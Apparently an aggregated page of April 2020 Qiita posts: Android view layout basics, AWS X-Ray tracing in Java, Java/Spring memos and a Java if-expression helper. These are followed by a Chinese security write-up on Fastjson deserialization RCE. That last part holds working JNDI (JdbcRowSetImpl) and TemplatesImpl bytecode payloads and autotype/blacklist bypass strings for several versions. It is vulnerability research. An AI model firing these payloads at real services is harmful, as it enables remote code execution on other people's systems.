- 投稿日:2020-04-26T21:14:26+09:00
新人がAndroidのビューってものをまとめてみる(初心者Androidアプリ開発)
はじめに
を一通りおわらせたので、今回はビューってやつを画像を使って説明してみます。
背景
Sierにジョブチェンジして3か月。研修を終えて現場配属になって一か月。今後使っていくAndroidアプリのお勉強をしているので、アウトプットで記していこうと思います。
素人です。開発環境
androidstudio 3.6.2
openjdk version "11.0.6"何はともあれサンプル
ビューっていうのは、画面部品のこと。ウィジェットともいう。上記画面なら、「名前を入力してください」もビュー、男か女か選ぶボタン(ラジオボタン)もビュー、ドリンクのリストもビューです。
これをコードにするとこんな感じ。
res/values/string.xml<resources> <string name="app_name">画面部品サンプル</string> <string name="tv_msg">お名前を入力してください。</string> <string name="bt_save">保存</string> <string name="cb_drink">ドリンク</string> <string name="cb_food">フード</string> <string name="rb_male">男</string> <string name="rb_female">女</string> <string-array name="dlinkllist"> <item>コーラ</item> <item>ウーロン茶</item> <item>ココア</item> <item>野菜ジュース</item> </string-array> </resources>各ビューに表示したい文章を入力しておくところです。このname="○○"の○○を下のtext属性にサンプルのように記入すると記入したビュー内のテキストとして使えます。
res/layout/activity_main.xml<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#A1A9BA" android:orientation="vertical"> <TextView android:id="@+id/tvLabelInput" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="10dp" android:layout_marginTop="5dp" android:background="#ffffff" android:text="@string/tv_msg" android:textSize="25sp"/> <EditText android:id="@+id/etInput" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginBottom="25dp" android:layout_marginTop="5dp" android:background="#ffffff" android:inputType="text"/> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:background="#df7401" android:orientation="horizontal"> <CheckBox android:id="@+id/cbDrink" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginRight="25dp" android:background="#ffffff" android:text="@string/cb_drink"/> <CheckBox android:id="@+id/cbFood" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="#ffffff" android:text="@string/cb_food"/> </LinearLayout> <RadioGroup android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginBottom="10dp" android:layout_marginTop="10dp" android:background="#df7401" android:orientation="horizontal" android:paddingBottom="10dp" android:paddingTop="10dp"> <RadioButton android:id="@+id/rbMale" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="25dp" android:layout_marginRight="25dp" android:background="#ffffff" android:text="@string/rb_male"/> <RadioButton android:id="@+id/rbFemale" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="#ffffff" android:text="@string/rb_female"/> </RadioGroup> <Button android:id="@+id/btSave" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/bt_save"/> <ListView android:layout_width="match_parent" android:layout_height="0dp" android:layout_weight="1" android:background="#ffffff" android:entries="@array/dlinkllist"/> </LinearLayout>string.xmlの○○の部分を各ビューのtext要素に書きます。するとstring.xml
そのほか、layout_widthやlayout_marginBottomなどに関しては、ビューの配置や形を決めてくれてます。画像で直感的に理解してみる。
書きなぐりですがこんな感じ。RadioGroupは子要素にRadioButtonを記述します。
LinearLayoutを親要素にすると、その子要素を縦方向or横方向に配置するかを決めてくれてます。(oriental="vertical"の部分)
ほかにも役割はありますがこのサンプルではこの理解で十分かと。終わりに
かなり、さっくりですがビューについて自分なりにまとめてみました。なかなか思ったようにまとまらなかったりするのですが、続けていこうと思ってます。
次回はイベントとリスナについてまとめます。
- 投稿日:2020-04-26T20:21:55+09:00
AWS X-RayをJavaで色々動かして試してみる
前提条件
X-Ray初心者向け。なんとなくは知ってるけど、具体的に何がどこまでできて、どうやって実装するかを色々試してみながら確認した記事。
環境としては、Spring Boot+MavenでWebアプリを実装している。依存関係の解決方法以外はGradleも同じはず。
X-RayのDockerコンテナイメージを作る。
まずは、適当なEC2とかでコンテナイメージを作る。
今回は、AWSのサンプルをベースに作ってみよう。$ git clone https://github.com/aws-samples/aws-xray-fargatebuildspec.yml に書いてあるコマンドを、実行していってみる。
$ aws ecr get-login --no-include-email --region ap-northeast-1でログイン情報を取得後、実行。
ap-northeast-1
は利用しているリージョンを指定する。$ docker build -t xray:latest .作ったコンテナイメージは正常性確認をしてみよう。以下を参考にする。
それぞれのdocker runのオプションの意味も記載されているので読んでみると良い。$ docker run \ --attach STDOUT \ -v ~/.aws/:/root/.aws/:ro \ --net=host \ -e AWS_REGION=ap-northeast-1 \ --name xray \ -p 2000:2000/udp \ xray -oあと、EC2のロールに
AWSXRayDaemonWriteAccess
のIAMポリシをつけておく。アプリケーションのX-Ray対応
受信リクエスト対応
以下の開発者ガイドを参考にしながら、アプリケーション側でX-Rayのログをデーモンに送るようにする。
受信リクエストの対応をするだけなら簡単なようだ。
WebConfig.java
なクラスを以下の様に実装する。ApigwTest
は、サンプルで作ったWebアプリの名前。WebConfig.javapackage com.example; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Bean; import javax.servlet.Filter; import com.amazonaws.xray.javax.servlet.AWSXRayServletFilter; @Configuration public class WebConfig { @Bean public Filter TracingFilter() { return new AWSXRayServletFilter("ApigwTest"); } }X-RayはAWSのSDKを使う必要があるため、pom.xmlに以下を記述して依存関係を解決する。
pom.xml<dependencyManagement> <dependencies> <dependency> <groupId>com.amazonaws</groupId> <artifactId>aws-xray-recorder-sdk-bom</artifactId> <version>2.4.0</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <dependencies> <dependency> <groupId>com.amazonaws</groupId> <artifactId>aws-xray-recorder-sdk-core</artifactId> </dependency> </dependencies>さて、このアプリを起動してアクセスすると、↓こんな感じでトレースができるようになる。
詳細情報の取得
さらに、受信リクエストを受けたノードの情報を取得できるように、↑で作った
WebConfig
クラスに以下のコードを入れてみる。import com.amazonaws.xray.AWSXRay; import com.amazonaws.xray.AWSXRayRecorderBuilder; import com.amazonaws.xray.plugins.EC2Plugin; import com.amazonaws.xray.plugins.ECSPlugin; static { AWSXRayRecorderBuilder builder = AWSXRayRecorderBuilder.standard().withPlugin(new EC2Plugin()).withPlugin(new ECSPlugin()); AWSXRay.setGlobalRecorder(builder.build()); }これをEC2上で実行した場合は、以下のように、サービスマップにEC2インスタンスであることが表示されるようになる。
ダウンストリームのトレース対応
さらに、HTTPクライアントとして、ダウンストリームのWebサービスの情報も取得する場合は、コントローラの中に↓こんなのを入れてみる。
import com.amazonaws.xray.proxies.apache.http.HttpClientBuilder; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.impl.client.CloseableHttpClient; import java.io.IOException; (中略) public int HttpClient(String URL) throws IOException { int statusCode = 500; CloseableHttpClient httpclient = HttpClientBuilder.create().build(); HttpGet httpGet = new HttpGet(URL); CloseableHttpResponse clientResponse = httpclient.execute(httpGet); try { statusCode = clientResponse.getStatusLine().getStatusCode(); } finally { clientResponse.close(); } return statusCode; }また、
com.amazonaws.xray.proxies.apache.http.HttpClientBuilder
をインポートするために、pom.xmlにも以下の依存関係を追記する。pom.xml<dependencies> <dependency> <groupId>com.amazonaws</groupId> <artifactId>aws-xray-recorder-sdk-apache-http</artifactId> </dependency> </dependencies>すると、以下のようにダウンストリームの情報も取得できるようになる。
ちなみに、このダウンストリームのサービスはLambda関数で実装していたので、ふと気になってLambda関数側でX-Rayの設定を有効化すると、↓こんな感じで、重複した要素は取得しなくなった。賢い。
ECS on Fargateで動かす
まずは、ここまでで動作確認したX-RayのコンテナをECRにPUSHする。
事前にxrayのリポジトリを作っておくのを忘れないように。$ docker tag xray:latest [AWSのアカウントID].dkr.ecr.[リージョン].amazonaws.com/xray:latest $ docker push [AWSのアカウントID].dkr.ecr.[リージョン].amazonaws.com/xray:latestまた、ここでもECSのタスクロールとタスク実行ロールに
AWSXRayDaemonWriteAccess
を付与しておく。コンテナのタスク定義に、↑でPUSHしたxrayのイメージを入れる。
CloudFormationテンプレートで言えば、ContainerDefinitions
内で、既存のコンテナ定義に並べて以下の定義を書く。awsvpcを使わないECS on EC2の場合は他にも設定が必要だが、Fargateの場合は、awsvpcで動くので、簡単に加えられるようだ。- Name: X-Ray-Daemon Image: !Sub ${AWS::AccountId}.dkr.ecr.${AWS::Region}.amazonaws.com/xray:latest Cpu: 32 MemoryReservation: 256 PortMappings: - ContainerPort: 2000 Protocol: udpLambda側のアクティブトレースを有効化すると、EC2と同様に取得することができた。
ただし、Lambda側のアクティブトレースを無効にすると、リクエストに対するトレースは取得できたが、ダウンストリームのトレースが取得できなかった。何かまだ足りていない設定があるのかもしれない。
- 投稿日:2020-04-26T16:26:53+09:00
Java memo
Bean
Beanクラスの最低限の定義
・publicで引数なしのコンストラクタが必要
・メソッドの命名規則に従わなくてはならない(getter/setterメソッドが必要など)
・シリアライズ可能でなくてはならない
Serializableインターフェースが必要
private static final long serialVersionUID = 1L;-Xms, -Xmxx
JAVA_OPTIONS=${JAVA_OPTIONS}" -Xms512m -Xmx4096m"
-Xmx:ヒープ全体の最大値。1MB より大きい 1024 の倍数に設定する
-Xms:ヒープ全体の最小値、一般的にXmxと同じにする。1MB より大きい 1024 の倍数に設定する。512mのmはMB (メガバイト) を意味する。
Mockito
Mockito.when(クラス名.メソッド名(引数)).thenReturn(戻り値);
Mockito.doReturn(戻り値).when(クラス名).メソッド名(引数);
- 投稿日:2020-04-26T16:02:10+09:00
Spring memo
@Transactional
■ readOnly=true
正確にトランザクションを管理したい場合(trueの場合は更新させないようにしたい場合)は
enforceReadOnlyの設定が必要。(新しいSpringから必要になったそう。)
ただ、enforceReadOnlyの設定をしない場合でも
・FLUSHがNAVERになる
・entityのトラッキングをしなくなる
という効果はあるので、読取り系につける意味はある。
- 投稿日:2020-04-26T14:33:49+09:00
二番煎じ:JavaでIf式をしてみる
「JavaでIf式をしてみる」の二番煎じ。
実現できること
例えば FizzBuzz を次のように書ける。
public static void main(String... args) { for (int i = 1; i <= 100; ++i) { int count = i; String fizzBuzzed = If.<String>test(() -> count % 15 == 0).then(() -> "FizzBuzz") .elif(() -> count % 3 == 0).then(() -> "Fizz") .elif(() -> count % 5 == 0).then(() -> "Buzz") .el(() -> Integer.toString(count)); System.out.println(fizzBuzzed); } }準備
if 式の値として nullable な値を扱うため、
次の汎用クラスを作成する。import java.util.function.Supplier; /** * null も値として取れる {@link java.util.Optional}。 * * 今回使わないメソッドについては省略。 */ public class MayBe<T> { /** * 値が存在するインスタンスを生成する。 */ public static <R> MayBe<R> of(R result) { return new MayBe<>(true, result); } /** * 値が存在しないインスタンスを生成する。 */ public static <R> MayBe<R> empty() { return new MayBe<>(false, null); } private final boolean isPresent; private final T value; private MayBe(boolean isPresent, T value) { this.isPresent = isPresent; this.value = value; } /** * 値が存在するかどうかを返す。 */ public boolean isPresent() { return this.isPresent; } /** * 値が存在すればそれを返し、存在しなければ引数 other から得た値を返す。 */ public T orElseGet(Supplier<T> other) { return isPresent() ? this.value : other.get(); } }本番
import java.util.function.BooleanSupplier; import java.util.function.Supplier; public class If<R> { public static <R> If<R> test(BooleanSupplier predicate) { return new If<>(predicate, null); } private final If<R> prev; private final BooleanSupplier predicate; private Then<R> then = null; /** * @param predicate この if の述語。 * @param prev この if が else if である場合、1つ前の if。 * そうでない場合、null。 */ private If(BooleanSupplier predicate, If<R> prev) { this.prev = prev; this.predicate = predicate; } public Then<R> then(Supplier<R> valueSupplier) { if (this.then != null) { throw new IllegalStateException("`then` が既に呼び出されています。"); } return this.then = new Then<>(this, valueSupplier); } /** * この if までを評価する。 * * @return 評価した結果の値。 */ private MayBe<R> eval() { if (this.then == null) { throw new IllegalStateException("`then` が未だ呼び出されていません。"); } if (this.prev != null) { MayBe<R> prevValue = this.prev.eval(); if (prevValue.isPresent()) { return prevValue; } } return this.predicate.getAsBoolean() ? MayBe.of(this.then.getThenValue()) : MayBe.empty(); } /** * {@link If#then} が返すオブジェクトのクラス。 */ public static class Then<R> { private final If<R> relatedIf; private final Supplier<R> thenValueSupplier; /** * @param relatedIf この then の if。 * @param valueSupplier この then の if が true である場合に返す値。 */ Then(If<R> relatedIf, Supplier<R> valueSupplier) { this.relatedIf = relatedIf; this.thenValueSupplier = valueSupplier; } public If<R> elif(BooleanSupplier predicate) { return new If<>(predicate, this.relatedIf); } public R el(Supplier<R> valueSupplier) { return this.relatedIf.eval().orElseGet(valueSupplier); } /** * この then の if が true の場合の値を返す。 */ R getThenValue() { return this.thenValueSupplier.get(); } } }特長
- if の述語は必要なものだけが評価される。
- 値の取得も必要なものだけが評価される。
- else if (
elif
)が使えるため、入れ子が深くならずに済む。所感
JavaScript でいう即時関数のようにした方が読みやすいな。
public static void main(String... args) { for (int i = 1; i <= 100; ++i) { int count = i; String fizzBuzzed = ((Supplier<String>) () -> { if (count % 15 == 0) return "FizzBuzz"; else if (count % 3 == 0) return "Fizz"; else if (count % 5 == 0) return "Buzz"; else return Integer.toString(count); }).get(); System.out.println(fizzBuzzed); } }/以上
- 投稿日:2020-04-26T12:24:42+09:00
Fastjson 反序列化
前言
fastjson是阿里巴巴的一个json库,频频爆RCE。本文分析fastjson至今的一些RCE漏洞。
fastjson的使用
引入库
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>创建一个实体类User
package org.chabug.fastjson.model; public class User { private int id; private int age; private String name; @Override public String toString() { return "User{" + "id=" + id + ", age=" + age + ", name='" + name + '\'' + '}'; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } }使用fastjson解析为字符串、从字符串解析为对象:
package org.chabug.fastjson.run; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import org.chabug.fastjson.model.User; import java.util.HashMap; import java.util.Map; public class JSONTest { public static void main(String[] args) { Map<String, Object> map = new HashMap<String, Object>(); map.put("key1", "One"); map.put("key2", "Two"); String mapJson = JSON.toJSONString(map); System.out.println(mapJson); System.out.println("--------------------------"); User user = new User(); user.setId(1); user.setAge(17); user.setName("张三"); // 对象转字符串 String s1 = JSON.toJSONString(user); String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1); System.out.println(s2); System.out.println("--------------------------"); // 字符串转对象 User o1 = (User) JSON.parse(s2); System.out.println("o1:"+o1); System.out.println(o1.getClass().getName()); JSONObject o2 = JSON.parseObject(s2); System.out.println("o2:"+o2); System.out.println(o2.getClass().getName()); Object o3 = JSON.parseObject(s2, Object.class); System.out.println("o3:"+o3); System.out.println(o3.getClass().getName()); } }运行结果
{"key1":"One","key2":"Two"} -------------------------- {"age":17,"id":1,"name":"张三"} {"@type":"org.chabug.fastjson.model.User","age":17,"id":1,"name":"张三"} -------------------------- o1:User{id=1, age=17, name='张三'} org.chabug.fastjson.model.User o2:{"name":"张三","id":1,"age":17} com.alibaba.fastjson.JSONObject o3:User{id=1, age=17, name='张三'} org.chabug.fastjson.model.Userfastjson通过
JSON.toJSONString()
将对象转为字符串(序列化),当使用SerializerFeature.WriteClassName
参数时会将对象的类名写入@type
字段中,在重新转回对象时会根据@type
来指定类,进而调用该类的set
、get
方法。因为这个特性,我们可以指定@type
为任意存在问题的类,造成一些问题。在字符串转对象的过程中(反序列化),主要使用
JSON.parse()
和JSON.parseObject()
两个方法,两者区别在于parse()
会返回实际类型(User)的对象,而parseObject()
在不指定class时返回的是JSONObject
,指定class才会返回实际类型(User)的对象,也就是JSON.parseObject(s2)
和JSON.parseObject(s2, Object.class)
的区别,这里也可以指定为User.class
。我们再来看
@type
的问题,我定义了一个Evil类,在其set方法中可以执行命令package org.chabug.fastjson.model; import java.io.IOException; public class Evil { private String cmd; public String getCmd() { System.out.println("getCmd()"); return cmd; } public void setCmd(String cmd) { System.out.println("setCmd()"); this.cmd = cmd; try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } } public Evil() { System.out.println("Evil()"); } }我们通过控制
@type
来实现反序列化恶意Evil类,从而RCE,很简单只是举个例子说明@type
的使用。那么到这里还有一个问题,为什么写在
setCmd
方法会自动调用呢?setter、getter、is自动调用
可以看到
parseObject(evil)
的get、set、构造方法都自动调用了,另外两种解析方式只调用了set、构造方法。在前文中我们知道
parseObject(evil)
返回的是JSONObject
对象,跟进其方法发现也是使用parse解析的,但是多了一个(JSONObject)toJSON(obj)
这个方法调用的get,堆栈如下getCmd:11, Evil (org.chabug.fastjson.model) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:105, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:13, Test (org.chabug.fastjson.run)比较简单,不详细分析,大致就是通过反射调用getter方法获取字段的值存入hashmap。那么setter在哪调用的?
在
com.alibaba.fastjson.util.JavaBeanInfo#build
中在通过
@type
拿到类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法,如上图。总结set方法自动调用的条件为:
1. 方法名长度大于4
2. 非静态方法
3. 返回值为void或当前类
4. 方法名以set开头
5. 参数个数为1当满足条件之后会从方法名截取属性名,截取时会判断
_
,如果是set_name
会截取为name
属性,具体逻辑如下:
会判断传入的第一个参数类型是否为布尔型,是的话就在截取完的变量前加上
is
,截取propertyName的第一个字符转大写和第二个字符,并且然后重新尝试获取属性字段。比如:public boolean setBoy(boolean t) 会寻找
isBoy
字段。set的整个判断就是:如果有setCmd()会绑定cmd属性,如果该类没有cmd属性会绑定isCmd属性。
get的判断
总结下就是:
1. 方法名长度大于等于4
2. 非静态方法
3. 以get开头且第4个字母为大写
4. 无传入参数
5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong当程序绑定了对应的字段之后,如果传入json字符串的键值中存在这个值,就会去调用执行对应的setter、构造方法。
小结:
1. parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
2. parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
3. parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()fastjson漏洞历程
fastjson漏洞经历了多次绕过及修复,甚至出现了加密黑名单防止安全研究= =
1.2.22-1.2.24
在小于fastjson1.2.22-1.2.24版本中有两条利用链。
1. JNDIcom.sun.rowset.JdbcRowSetImpl
2. JDK7u21com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JNDI利用链
JNDI传输过程中使用的就是序列化和反序列化,所以通杀三种解析方式
JSON.parse(evil); JSON.parseObject(evil); JSON.parseObject(evil, Object.class);原理就是setter的自动调用
package org.chabug.fastjson.run; import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class Test { public static void main(String[] args) { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); try { jdbcRowSet.setDataSourceName("ldap://localhost:1389/#Calc"); jdbcRowSet.setAutoCommit(true); } catch (SQLException e) { e.printStackTrace(); } } }setDataSourceName()和setAutoCommit()满足setter自动调用的条件,当我们传入对应json键值对时就会触发setter,进而触发jndi链接。payload如下
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}TemplatesImpl利用链
条件苛刻
1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)
poc
package org.chabug.fastjson.run; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.tomcat.util.codec.binary.Base64; public class JDK7u21 { // 参考https://y4er.com/post/ysoserial-commonscollections-2/ public static byte[] getevilbyte() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Y4er" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); return cc.toBytecode(); } //main函数调用以下poc而已 public static void main(String args[]) { try { byte[] evilCode = getevilbyte(); String evilCode_base64 = Base64.encodeBase64String(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } public static class test { } }看完poc应该考虑的几个问题:
1. 为什么parseObject
需要Feature.SupportNonPublicField
?
2. 为什么需要_outputProperties
属性?
3._bytecodes
为什么需要base64编码?
4._tfactory
为什么为{}?问题1:
Feature.SupportNonPublicField
在fastjson中默认并不能序列化private属性,而我们使用的TemplatesImpl
利用链的多个属性都是private,所以在反序列化的时候需要加上Feature.SupportNonPublicField
,这也成了这个利用链的最大限制。
问题2:为什么需要
_outputProperties
属性
答案是为了触发getOutputProperties()
。再问:如果getOutputProperties()是_outputProperties属性的getter方法那不符合规则啊!下面就来分析下:getOutputProperties()方法其对应的属性应该为
public
的outputProperties
,其实你删了_
也可以,_
并不是必须的,那么fastjson到底是怎么处理的呢?
在
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
中解析每一个字段时,会进行一次灵活匹配this.smartMatch()
在进行is关键字判断之后,替换掉-
和_
再匹配getter和setter
所以就会调用getOutputProperties()
而其返回值又是Properties,所以可以完美调用getOutputProperties()
,进而触发newTransformer()
->getTransletInstance()
->newInstance()
,导致RCE。问题3:
_bytecodes
为什么需要base64编码问题4:_tfactory为什么为{}
在fastjson-1.2.23.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:579
解析字段值时,会自动判断传入键值是否为空,如果为空会根据类属性定义的类型自动创建实例
到这算是把fastjson写的差不多,剩下的就是无尽的bypass。
1.2.25-1.2.41
使用idea对比两个jar包发现改为了checkAutoType()方法
增加了类前缀黑名单白名单判断,在1.2.25版本中AutoTypeSupport默认false,需要显示关闭白名单
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);在关闭了AutoTypeSupport之后仍然需要绕过黑名单,以startsWith判断
但是在跟了TypeUtils.loadClass()之后会发现
如果classname以[
开头loadClass会自动去掉,还有就是开头L
结尾;
的也会去掉,那么我们有了新的绕过方法:ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单 {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}7u21的链同理,在1.2.25之后所谓的绕过都是在显示关闭白名单的条件下绕过的。
1.2.42绕过
对比jar发现ParserConfig中黑名单改为hash
classname截取L;
通过计算hash让我们不知道黑名单是什么类,但是加密方式在
com.alibaba.fastjson.util.TypeUtils#fnv1a_64
是有的
通过变量常用的jar、类、字符串碰撞hash得到黑名单,有一个项目已经做好了:https://github.com/LeadroyaL/fastjson-blacklist绕过也比较简单,
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
截取一次,com.alibaba.fastjson.util.TypeUtils#loadClass
截取一次,那么双写就可以绕过{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}1.2.43
但是
[
还可以
json
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
1.2.44
修复之前
[
的问题,虽然之前[
是不能用的1.2.45
增加了黑名单
//需要有第三方组件ibatis-core 3:0 {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}1.2.47 通杀
通杀autotype和黑名单
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true } }在TypeUtils的static初始化时调用
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
中会将常用的类通过loadclass()放入mapping中private static void addBaseClassMappings() { mappings.put("byte", Byte.TYPE); mappings.put("short", Short.TYPE); mappings.put("int", Integer.TYPE); mappings.put("long", Long.TYPE); mappings.put("float", Float.TYPE); mappings.put("double", Double.TYPE); mappings.put("boolean", Boolean.TYPE); mappings.put("char", Character.TYPE); mappings.put("[byte", byte[].class); mappings.put("[short", short[].class); mappings.put("[int", int[].class); mappings.put("[long", long[].class); mappings.put("[float", float[].class); mappings.put("[double", double[].class); mappings.put("[boolean", boolean[].class); mappings.put("[char", char[].class); mappings.put("[B", byte[].class); mappings.put("[S", short[].class); mappings.put("[I", int[].class); mappings.put("[J", long[].class); mappings.put("[F", float[].class); mappings.put("[D", double[].class); mappings.put("[C", char[].class); mappings.put("[Z", boolean[].class); Class<?>[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, TimeUnit.class, ConcurrentHashMap.class, loadClass("java.util.concurrent.ConcurrentSkipListMap"), loadClass("java.util.concurrent.ConcurrentSkipListSet"), AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class}; Class[] var1 = classes; int var2 = classes.length; int var3; for(var3 = 0; var3 < var2; ++var3) { Class clazz = var1[var3]; if (clazz != null) { mappings.put(clazz.getName(), clazz); } } String[] awt = new String[]{"java.awt.Rectangle", "java.awt.Point", "java.awt.Font", "java.awt.Color"}; String[] spring = awt; var3 = awt.length; int var11; for(var11 = 0; var11 < var3; ++var11) { String className = spring[var11]; Class<?> clazz = loadClass(className); if (clazz == null) { break; } mappings.put(clazz.getName(), clazz); } spring = new String[]{"org.springframework.util.LinkedMultiValueMap", "org.springframework.util.LinkedCaseInsensitiveMap", "org.springframework.remoting.support.RemoteInvocation", "org.springframework.remoting.support.RemoteInvocationResult", "org.springframework.security.web.savedrequest.DefaultSavedRequest", "org.springframework.security.web.savedrequest.SavedCookie", "org.springframework.security.web.csrf.DefaultCsrfToken", "org.springframework.security.web.authentication.WebAuthenticationDetails", "org.springframework.security.core.context.SecurityContextImpl", "org.springframework.security.authentication.UsernamePasswordAuthenticationToken", "org.springframework.security.core.authority.SimpleGrantedAuthority", "org.springframework.security.core.userdetails.User"}; String[] var10 = spring; var11 = spring.length; for(int var12 = 0; var12 < var11; ++var12) { String className = var10[var12]; Class<?> clazz = loadClass(className); if (clazz == null) { break; } mappings.put(clazz.getName(), clazz); } }然后开始解析json,当传入type时进入checkAutoType()检查类
在调用解析时我们没有传入预期的反序列化对象的对应类名时,会从mapping中或者deserializers.findClass()寻找
当找到类之后会直接return class,不会再进行autotype和黑名单校验,而在deserializers中有java.lang.Class
获取到java.lang.class对应的反序列化处理类
com.alibaba.fastjson.serializer.MiscCodec
,然后开始deserializer.deserialze()反序列化
parser.parse()获取val的值
赋值给strVal,然后经过一系列判断之后
传入TypeUtils.loadClass()此时mapping中有了jdbc的类名,而Mappings是ConcurrentMap类的,顾名思义就是在当前连接会话生效。所以我们需要在一次连接会话同时传入两个json键值对时,此次连接未断开时,继续解析第二个json键值对,然后和上文中提到的一样,在校验autotype和黑名单之前就已经return了clazz,变相绕过了黑名单,利用JNDI注入RCE。
1.2.48
黑名单多了两条,MiscCodec中将默认传入的cache变为false,checkAutoType()调整了逻辑
1.2.62
黑名单绕过
json
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
1.2.66
也是黑名单绕过
